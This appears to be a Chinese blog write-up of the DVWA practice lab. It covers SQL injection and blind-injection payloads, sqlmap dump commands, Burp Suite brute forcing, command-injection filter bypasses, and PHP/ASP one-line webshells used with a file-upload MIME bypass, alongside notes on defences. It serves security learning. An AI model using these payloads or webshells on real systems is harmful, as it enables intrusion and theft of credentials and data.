DVWA

DVWA靶场漏洞学习及补充

1.SQL注入(SQL Injection)

介绍

SQL注入详解
结构化查询语言(Structured Query Language,SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。

SQL注入(SQL Injection)是一种常见的Web安全漏洞,主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限)。

即:注入产生的原因是后台服务器接收相关参数未经过滤直接带入数据库查询

手工注入(非盲注)的步骤。

1.判断是否存在注入,注入是字符型还是数字型

(字符型注入和数字型注入和的区别在于所查询的数据类型不同)

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

如何防御SQL注入

代码层面:

1.对输入进行严格的转义和过滤

2.使用参数化(Parameterized)查询

1
参数化查询(Parameterized Query或Parameterized Statement)是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数(Parameter)来给值,这个方法已被视为最有效可预防SQL注入攻击的攻击手法的防御方式。

网络层面:

1.通过WAF设备启用防SQL Inject注入策略(或类似防护系统)

2.云端防护(如阿里云盾)

Low

输入

在这里插入图片描述

查看源代码可知这一关对于表单输入ID没有进行任何过滤

1.测试是否含有SQL注入

输入1

1.1

输入1’ and 1=1

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’ at line 1

1.2

注入点判断,如上图可知受到单引号闭合影响

把SQL语句后续语句全部注释掉不执行,在判断语句后加 # 或者 --+ 即可

其中--+中的+代表空格,但是我使用--+会报错,不如-- 空格

(当使用get方式传参的时候,–+就是YYDS了,#会被当作浏览器自身操作)

`1’ and 1=1#

在这里插入图片描述

1' and 1=1--(后无空格)报错

1' and 1=1-- (后有空格)

在这里插入图片描述

1’ and 1=1--+(后有/无空格)报错

2.找字段

找出注入点以及符号问题,然后通过1’ and 1=1 order by 1#判断字段(就是正常查询时可以显示用户的几条信息)

1’ and 1=1 order by 1#

在这里插入图片描述

group by, order by 后面跟数字,指的是 select 后面选择的列(属性),1 代表第一个列(属性),依次类推。

1' and 1=1 order by 3#

Unknown column ‘3’ in ‘order clause’

在这里插入图片描述

3返回错误那么就有2个字段,2即为分界点

3.找注入点

找出字段之后(找字段的作用是为了后续报错,看会有几个位置可以报错)

看哪个位置输出什么

1' union select 1,2#

在这里插入图片描述

1' union select 1,2,3#

在这里插入图片描述

-1' union select 1,2#

sql语句获取id = xx的数据,这里我们让id = -1,条件不成立,便不会显示多余的东西

使用union(联合)来加入第二个select语句

1,2便会按照列的的顺序依次列出

在这里插入图片描述

常见参数

在MYSQL5.0以上版本中存在自带数据库information_schema,他是一个存储所有数据库名,表名,列名的数据库,相当于可以通过查询此库获得相应信息。(没有的话只能靠猜,暴力破解)

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

table_schema:数据库名

user() 查看当前MySQL登录的用户名

database() 查看当前使用MySQL数据库名

version() 查看当前MySQL版本

4.找数据

顺序首先是数据库名,表名,列名,之后是具体信息

-1' union select 1,database()#

在这里插入图片描述

符号“.”代表下一级

表名

-1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

1
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。

在这里插入图片描述

可以用group_concat把表名拼接起来

-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

在这里插入图片描述

列名

-1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

当发现有重复列名时,因为有多个数据库的列名可能重复可以加一个判定table_schema=”dvwa”

-1' union select 1, group_concat(column_name) from information_schema.columns where table_schema="dvwa" and table_name='users'#

在这里插入图片描述

查账号密码

-1' union select group_concat(user_id,first_name),group_concat(user,password) from users#

在这里插入图片描述

密码是通过MD5加密,解密后获得例如user_id为1的密码为password

user_id first_name user password
1 admin admin 5f4dcc3b5aa765d61d8327deb882cf99 => password

如果出现Illegal mix of collations for operation 'UNION'报错,可以用16进制来实现

1
-1' union select group_concat(hex(user_id),hex(first_name)),group_concat(hex(user),hex(password)) from users#

Medium

这里不再让用户输入id,而是使用下拉框选择参数,但是可以使用burpsuite抓包修改post的参数

在这里插入图片描述

burpsuite

proxy-open brower(intercept off)-submit(intercept on)-抓包如下

在这里插入图片描述

修改id=1 or 1=1#

结果如下

在这里插入图片描述

然后如Low,操作如下

id=1 and 1=1 order by 3# =>Unknown column ‘3’ in ‘order clause’

id=1 union select 1,database()# =>

在这里插入图片描述

mysqli-real-escape-string()

当查询表名时出现如下错误

id=1 union select 1,table_name from information_schema.tables where table_schema='dvwa'#

=>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘'dvwa'#’ at line 1

view resource看到如下PHP

1
2
3
4
5
6
7
8
9
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
//无关省略
}

mysqli-real-escape-string

其中$ id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。

利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,例如单引号被转义成\'

(第一个参数是mysql连接,第二个是要转义的字符串)

转义字符

绕过魔术引号

此时需要将单引号之间的字符串转16进制后替换(在前面加上0x)

字符串转十六进制

id=1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#

这里会出现Illegal mix of collations for operation 'UNION'报错,因为后台数据库的排序规则,数据库默认排序规则是utf8_unicode_ci,把first_name, last_name改成utf8_general_ci即可。

在这里插入图片描述

id=-1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#(这里限定表名的话字段名就会更精确)

在这里插入图片描述

id=-1 union select group_concat(user_id,first_name),group_concat(user,password) from users#在这里插入图片描述

MD5解密,admin,password

High

这里在其他界面进行修改操作而非在原页面,对于手工注入来说基本没啥区别,这一关的意义主要是为了防止SQLmap注入(但是后面会介绍如何注入)

在这里插入图片描述
在这里插入图片描述

操作如Low

Impossible

View Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
SQL Injection Source
vulnerabilities/sqli/source/impossible.php
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRF token机制的加入了进一步提高了安全性。

2. SQL盲注(SQL Injection(Blind))

与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。

盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注

手工盲注的步骤:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

Low

结果只有两种显示

在这里插入图片描述
在这里插入图片描述

基于布尔的盲注

1.判断是否存在注入,注入是字符型还是数字型

数字型注入如:select email from member where id=$id

如果输入1 or 1=1则为永真,即select email from member where id=1 or 1=1

字符型注入如:select email from member where id=’$id’

如果输入1 or 1=1,即select email from member where id=’1 or 1=1,此时会报错

此时可以输入’ or 1=1 #,select email from member where id=’’ or 1=1 #’

输入1’ and 1=1#

在这里插入图片描述

说明存在字符型的SQL盲注

2.猜解当前数据库名

方法大概就是先判断长度,再通过缩小ascii码范围判断每个字符。

输入1' and length(database())=4#

在这里插入图片描述

说明数据库名长度为4。

然后采用二分法猜解数据库名

输入1’ and ascii(substr(database(),1,1))>97 #

[substr


substr,SQL数据库操作函数 substr(strings|express,m,[n])

m:从第m个字符开始截取;n:截取后字符串长度为n

在这里插入图片描述

显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值)

输入1’ and ascii(substr(database(),1,1))<122 #

在这里插入图片描述

显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);

重复上述步骤,就可以猜解出完整的数据库名(dvwa)了(就嗯猜)

3.猜解数据库中的表名

先猜表的数量

输入1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#

在这里插入图片描述

说明数据库中共有两个表

然后重复类似猜数据库名的步骤

猜表名长度

1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=5 #

limit 0,1, 从你的表中的第0个数据开始,只读取一个;
这里substr将每行的字符串从第一个位置开始截取(即该行的字符串)

重复直到猜出表长度(为什么不用大于小于)

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在

重复直到猜出表名

4.猜解表中的字段名

首先猜解表中字段的数量

1’ and (select count(column_name) from information_schema.columns where table_name=’users’)=1 #

接着挨个猜解字段长度

1’ and (select length(column_name) from information_schema.columns where table_name= ‘users’ limit 3,1))=4 #

然后猜字段名

1’ and ascii(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1,1))>97 #

5.猜解表中的数据

如上操作,就嗯猜

基于时间的盲注

时间型盲注

当我们不管如何输入,页面信息都没有任何变化,不提供给攻击者任何有用的信息的时候,这时候就只能尝试时间型盲注。

时间型盲注就是在布尔型盲注的基础上增加了时间的判断。

时间盲注的关键函数是if(),sleep(),通过对布尔型注入的判断,辅以时间延迟的方法,来最终获得注入结果。

时间盲注多与if(expr1,expr2,expr3)结合使用,这个语句的含义是若expr1为true,则if返回值为expr2,反之为expr3。

1.判断是否存在注入,注入是字符型还是数字型

1’ and sleep(5) # 延迟

1 and sleep(5) #无延迟

说明存在字符型的基于时间的盲注

2.猜解当前数据库名

1’ and if(length(database())=1,sleep(5),1) #

无延迟返回1,说明length(database())=1为false

1’ and if(length(database())=4,sleep(5),1)#

有延迟返回0,说明length(database())=4为true

之后逻辑如布尔盲注

猜数据库名

1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟

3.猜解数据库中的表名

猜表数

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(2),1)#

猜表名

1’ and if((select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=5,sleep(2),1) #

1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117,sleep(2),1) #

4.猜解表中的字段名

猜字段数

1’ and if((select count(column_name) from information_schema.columns where table_name= ‘users’ and table_schema=database())=8,sleep(2),1)#

猜字段名

1’ and if((select length(column_name) from information_schema.columns where table_schema=database() and table_name= ‘users’ limit 3,1)=4,sleep(2),1) #

1’ and if(ascii(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 3,1),1,1)),sleep(2),1)= 117#

5.猜解表中的数据

1’ and if((select count(user) from users)=5,sleep(2),1)#
1’ and if((select length(user) from users limit 0,1)=5,sleep(2),1)#
1’ and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(2),1)#

嗯猜

Medium

转义+盲注

步骤如SQL Injection Medium+布尔盲注,如

基于布尔的盲注

抓包改参数id=1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

id=1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

id=1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #

(0×7573657273为users的16进制),显示存在,说明uers表有8个字段。

基于时间的盲注

抓包改参数id=1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;

抓包改参数id=1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;

抓包改参数id=1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}

// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

LIMIT 1可以通过#注释掉

这里只能使用基于bool的盲注

Impossile

3.SQL注入(工具)

介绍

sqlmap参数

Sqlmap常用参数

注入MySQL数据库常用参数

1
2
3
4
5
6
sqlmap.py -u "url"  //判断参数是否存在注入
sqlmap.py -u "url" --current-db //查看网站当前数据库名称
sqlmap.py -u "url" --is-dba //查看当前用户权限
sqlmap.py -u "url" --tables //猜解表名
sqlmap.py -u "url" --columns -T "要猜解的表名" //猜解列名
sqlmap.py -u "url" --dump -C "列名" -T “表名” //爆出字段数据

一些常用参数集合

-h //查看帮助选项

--dbs //查看网站所有数据库名称

--users //查看所有数据库的用户

--count //统计条数 (该条命令可用在爆表名的时候,便于查看哪个是管理员的表)

--level //测试等级(1-5)默认是1,cookie注入是2,http头注入是3

--dbms=mysql/oracle/mssql 指定数据库(这样既可以节省时间,在某些时候也可以绕过waf)

sqlmap.py -u “url”--batch --exclude-sysdbs //batch是使用sqlmap默认选项,不用按回车;exclude-sysdbs是排除系统自带的数据库

--risk //风险等级,共有四个等级,1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的sql注入测试

-m //从文本中获取多个目标,文件中保存url格式,sqlmap会一个一个测试 sqlmap.py -m 1.txt

-r //获取http请求注入,sqlmap可以从一个文本文件中获取http请求,这样就可以跳过设置一些其他参数,在存在注入的http请求头加*。

利用的场景:post,搜索注入,http头注入,登陆后的注入(在登录后存在注入点,因为只有在登录后才有cookie)
-g //处理google搜索结果, sqlmap可以测试注入google的搜索结果中的get参数(前100个请求) sqlmap.py -g “inurl:php?id=”

Low

sqlmap -u http://URL/vulnerabilities/sqli/?id=1&Submit=Submit

在这里插入图片描述

出现了302重定向会返回登录页面,证明这个页面需要cookie

sqlmap -u “http://URL/vulnerabilities/sqli/?id=1&Submit=Submit" –cookie=”XXX”

可以直接加 –batch默认回答,直接显示结果

sqlmap -u “http://URL/vulnerabilities/sqli/?id=1&Submit=Submit" –cookie=”XXX” –batch

-D dvwa -T users -C user,password,user_id –dump

一般数据库中的信息都会加密,这个命令可以直接显示解密后的情况,并且会自动保存到本地

1.数据库名

**sqlmap -u “http://URL/vulnerabilities/sqli/?id=1&Submit=Submit" –cookie=”XXX” –batch –dbs

在这里插入图片描述

2.表名

sqlmap -u “http://URL/vulnerabilities/sqli/?id=1&Submit=Submit" –cookie=”XXX” –batch -D dvwa –tables

在这里插入图片描述

3.字段名

**sqlmap -u “http://URL/vulnerabilities/sqli/?id=1&Submit=Submit" –cookie=”XXX” –batch -D dvwa -T users –columns

在这里插入图片描述

4.数据

**sqlmap -u “http://URL/vulnerabilities/sqli/?id=1&Submit=Submit" –cookie=”XXX” –batch -D dvwa -T users -C user,password,user_id –dump

在这里插入图片描述

Medium

burpsuite抓包保存到本地

sqlmap -r /home/kali/Desktop/1.txt

后面加的和上面一样

sqlmap -r /home/kali/Desktop/1.txt –batch -D dvwa -T users -C user,password,user_id –dump
在这里插入图片描述

High

先抓包,然后用sqlmap --second-url注入

1.查数据库名

**sqlmap -r /home/kali/Desktop/2.txt –batch -second-url “http://URL/vulnerabilities/sqli/" –dbs

在这里插入图片描述

2.查表名

**sqlmap -r /home/kali/Desktop/2.txt –batch -second-url “http://URL/vulnerabilities/sqli/" -D dvwa –tables

在这里插入图片描述

3.查字段名

sqlmap -r /home/kali/Desktop/2.txt –batch -second-url “http://URL/vulnerabilities/sqli/" -D dvwa -T users –columns

在这里插入图片描述

4.查数据

**sqlmap -r /home/kali/Desktop/2.txt –batch –second-url “http://URL/vulnerabilities/sqli/" -D dvwa -T users -C user,password,user_id –dump

在这里插入图片描述

5.参数

-u {url}
-r {file}
–batch 跳过问询(yes)执行
–second-url {To url}
–dbs:-D 数据库名
–tables:-T 数据表名
–columns:-C 字段名
–dump

4.暴力破解(brute force)

介绍

弱口令(weak password) 没有严格和准确的定义,通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。

“暴力破解”是一攻击手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。

两个字:撞库;三个字:枚举法

理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括:

1.是否要求用户设置复杂的密码;

2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp;

3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等);

4.是否采用了双因素认证;

防御

暴力破解的成功率是100%的,但是只要暴力破解获得的数据的价值远小于其时间和精力成本时,那就达到了防御的目的了

最有效方式是设置复杂的密码(英文字母大小写、数字、符号混合)

登录页面采用有效的验证码机制

对用户密码错误的次数做限制

burpsuite攻击模式

burpsuite的使用

狙击手模式(Sniper):单payload位置,单payload集合(先爆破A,再爆破B)

攻城锤模式(Battering ram):单payload位置,单payload集合(两个用相同的密码一起爆破)

草叉模式(Pitchfork):多payload位置,多payload集合(两个用一一对应的集合爆破)

集束炸弹模式(Cluster bomb) :多payload位置,多payload集合(两个用交叉组合的集合爆破)

Low

抓包

发送到Intruder

在这里插入图片描述

添加/修改payload

修改Attack Type模式

四种模式

Sniper:对变量一次进行破解,多个标记依次进行。(俗话简单来说就是,用户名和密码用的是一套字典,破解的时候也只是导入一个字典,但是它会根据先破解用户名,破解出来以后急需破解密码这样的顺序,对于简单的用户名密码字典数目少的可以考虑)

Battering ram:对变量同时进行破解,多个标记同时进行。(这个也是只有一个字典但区别是,可以同时进行,就是先破解用户名破解完了继续破解密码,相比遇上一个速度更快)

Pitchfork:每一个变量标记对应一个字典,取每个字典的对应项。(这个意思就是,每个变量一个字典,破解的时候每个字典的一号对应另一个字典的一号进行破解,这样破解对于那些一一对应的用户名密码来说速度很快,但很明显我们没办法准确的定位用户名和密码,显然不适用于每个情况)

Cluster bomb:每个变量对应一个字典,并且进行交际破解,尝试各种组合,适合于用户名加密码破解。(这种情况就是普罗大众很容易明白理解的情况就是多个字典进行笛卡尔积,依次破解,这种就会有多种组合,时间上也是一个问题,当然对于需要用时很长的,我们可以添加进程,用来适量缩短时间)

payload添加字典

修改进程池

爆破,长度不同即结果

在这里插入图片描述

Medium

使用了mysqli_real_escape_string函数进行符号转义,但是还是对爆破没有什么影响,可以直接进行爆破。

High

加了一个Token

在这里插入图片描述
将密码和token设为payload

修改attrack type

payload 1——simple list

payload 2——Recursive Grep(递归)

修改线程为1

在options:Grep-Extract中Add:Refetch response

将其中Token复制到payload2:initial payload for first request

然后可以Attack

在这里插入图片描述

Simple list 简单字典
Runtime file 运行文件
Custom iterator 自定义迭代器
Character substitution 字符替换
Recursive grep 递归查找
Illegal Unicode 非法字典
Character blocks 字符快
Numbers 数组组合
Dates 日期组合
Brute forcer 暴力破解
Null payloads 空Payload
Username generator 用户名生成
Copy other payload 复制其他Payload

5.命令注入(command injection)

介绍

和SQL注入差不多,没有检查输入导致执行了精心构造的命令

命令注入的形成需要如下三个条件:

1)使用了内部调用shell的函数:system(),exec()等

2)将外界传入的参数没有足够的过滤,直接传递给内部调用shell的函数

3)参数中shell的元字符没有被转义

常用命令:(总结来说就是系统操作命令DOS命令都可以在此执行试试)

这里因为在windows上部署的DVWA,所以下面列了windows的命令

ipconfig,net user(查看系统用户),dir(查看当前目录),find(查找包含指定字符的行),whoami(查看系统当前有效用户名)
A&B(简单的拼接,AB之间无制约关系),A&&B(A执行成功才会执行B),A|B(A的输出作为B的输入),A||B(A执行失败,然后才会执行B)

; 前后命令依次执行 注意前后顺序,若更变目录,则必须在“一句”指令内

& 前台执行后任务,后台执行前任务 如 a&b&c 则显示c的执行信息,a b在后台执行

| 管道,只输出后者的命令 当第一条命令失败时,它仍然会执行第二条命令

(反引号,仅linux)即命令替换

1
echo `date` //输出系统时间

使用反引号运算符的效果与函数shell_exec()相同,但在激活了安全模式或者关闭了shell_exec()时是无效的

$(command) 这是命令替换的不同符号。与反引号效果一样。echo $(date),输出系统时间. 按理说更推荐用这种方法,而不是反引号。

防御

命令注入防御

1.校验外部数据命令,在执行system、eval等命令执行功能的函数前,确定参数内容。

对数据的合法性进行校验

使用正则表达式对外部数据命令进行校验

2.使用白名单安全过滤:比较适用于固定不变的命令或者数据(校验包含哪些目标字符,而不是定义不能包含什么字符)或者直接将命令定义为宏,然后使用system() 系统调用

3.使用黑名单过滤命令:黑名单机制还还是有可能会绕过系统校验,进行命令注入;不如白名单安全

4.使用 exec系列族函数代替 system() 系统调用函数,选择不调用系统命令的实现方法、避免使用内部调用shell的函数、不将外界传入的字符串传递给命令行参数

5.使用安全的函数对传递给系统命令的参数进行转义

6.将应用程序的权限降到最低

7.给web服务器系统及使用的中间件及时打上安全补丁

8.使用函数对字符串进行转义:

escapeshellarg函数处理相关参数。Escapeshellarg函数会将任何引起参数或命令结束的字符进行转义,如单引号'会被转义为\',双引号"会被转义为\",分号;会被转义为\;,这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。

Low

输入127.0.0.1得到ping结果

输入127.0.0.1 & ipconfig得到ping+ipconifg结果

输入127.0.0.1 & net user无结果?

这是因为装的不同的DVWA对应的PHP study版本不一样,切换一个版本即可,将版本切换成php-5.5.38+apache,php-5.4.45+apache我试过都是可行的,别的版本会遇到net user无法显示的问题。
但是修改版本也不行。。

输入127.0.0.1 & dir有结果

输入127.0.0.1 & whoami有结果

在这里插入图片描述

输入127.0.0.1 & systeminfo有结果

输入 1 & echo “xx” >> 1.txt可以新建文件

md app / mkdir app 新建App文件夹

type nul>1.txt 创建空文件

echo 1 > 1.txt 创建非空文件

Medium

查看源码发现有字符被转义

&&;被转义成空

image-20220913152128472

但是”&”还能用,或者用分号将双&号隔开,如&;&

image-20220913152740114

High

查看源码发现以下字符被转义为空

& ; "| " - $ ( ) `||
(这里单|号后面有个空格,所以单|号未被转义)

可用trim()函数解决这个问题,因为 trim(str) 可以删除字符串左右两边的空格。

输入1 || whoami 可以输出?可能是后面的| 被转义成空,直接执行了ping 1 |whoami

在这里插入图片描述

6.文件上传(File Upload)

介绍

文件上传漏洞详解

网站文件上传功能的实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过web访问的目录上传任意php文件,并能够将这些文件传递给php解释器,就可以在远程服务器上执行任意php脚本。

当系统存在文件上传漏洞同时攻击者可以将病毒,木马,webshell,其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异,此处上传的脚本可以是正常后缀的php,asp以及jsp脚本,也可以是篡改后缀后的这几类脚本。

原因:

1 对于上传文件的后缀名(扩展名)没有做较为严格的限制

2 对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法)没有做检查

3 权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型的文件)

Shebang(也称Hashbang )是一个由井号和叹号构成的字符序列 #! ,其出现在文本文件的第一行的前两个字符。 在文件中存在 Shebang 的情况下,类 Unix 操作系统的程序加载器会分析 Shebang 后的内容,将这些内容作为解释器指令,并调用该指令,并将载有 Shebang 的文件路径作为该解释器的参数。

4 对于webserver对于上传文件或者指定目录的行为没有做限制

原理: 在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data,同时加入文件域,而后通过 HTTP协议将文件内容发送到服务器,服务器端读取这个分段 (multipart)的数据信息,并将其中的文件内容提取出来并保存的。通常,在进行文件保存的时候,服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的扩展名,而后随机为文件起一个文件名( 为了防止重复 ),并且加上原始文件的扩展名来保存到服务器上。

上传文件操作本身是没有问题的,问题在于文件上传到服务器后,服务器怎么处理和解释文件。

攻击形式:

上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。

上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为

(其他通过类似方式控制策略文件的情况类似);

上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。

上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。

要完成这个攻击,要满足以下几个条件:

1.上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径。

2.用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法得到Web容器解释这个脚本,那么也不能称之为漏洞。

3.用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。

防御

1.对上传文件扩展名进行严格过滤,设置白名单机制只允许特定扩展名文件上传,严格过滤扩展名为.php .asp .bat等可执行文件上传

2.限制目录权限,对于文件上传目录设置可读、可写、不可执行权限,禁止用户上传的文件在后台执行。

3.隐藏文件上传目录,用户上传文件的目标目录对用户隐藏。或者将存储文件的服务器与网站服务器分离

Low

可以上传php

构建一句话木马(webshell)

1
2
asp
<%execute(request("value"))%>
1
2
3
php
<?php @eval($_REQUSET['shell']);?>
<?php @eval($_POST['shell']);?>

$ _REQUEST包含了$ _GET$ _POST$ _COOKIE的所有内容,是它们的集合体。只要把变量用POST或GET,甚至用cookies传输上去都可以执行

1
2
aspx
<%@ Page Language="Jscript"%>

<?php ?>为php固定规范写法,@在php中含义为后面如果执行错误不显示错误信息,增加隐蔽性。eval()函数表示括号里的语句全做代码执行,$_POST['shell']表示从页面中以post方式获取变量shell的值。

上传1.php后,网页会显示上传文件的路径。

(这里windows defender会报毒,必须同意保留才能上传成功并显示路径)

在这里插入图片描述

使用URL(GET)或者HackBar(POST)将shell=system("whoami");发送到当前网页+回显路径(即相对路径)。

得到预期结果

在这里插入图片描述

php

Medium

查看源码或者上传文件,发现对文件类型(后缀名)进行了限制,只能上传jpeg和png格式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>

if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) )限制了上传类型只能为jpeg或png,同时文件大小不不能超过100000字节即1MB。

先把1.php后缀修改成png,然后使用burpsuite抓包修改文件后缀

抓包结果可以看到filename=”1.png”,此时可以修改为“1.php”后forward

image-20220913153414883

(send to repeater后修改然后GO也行)

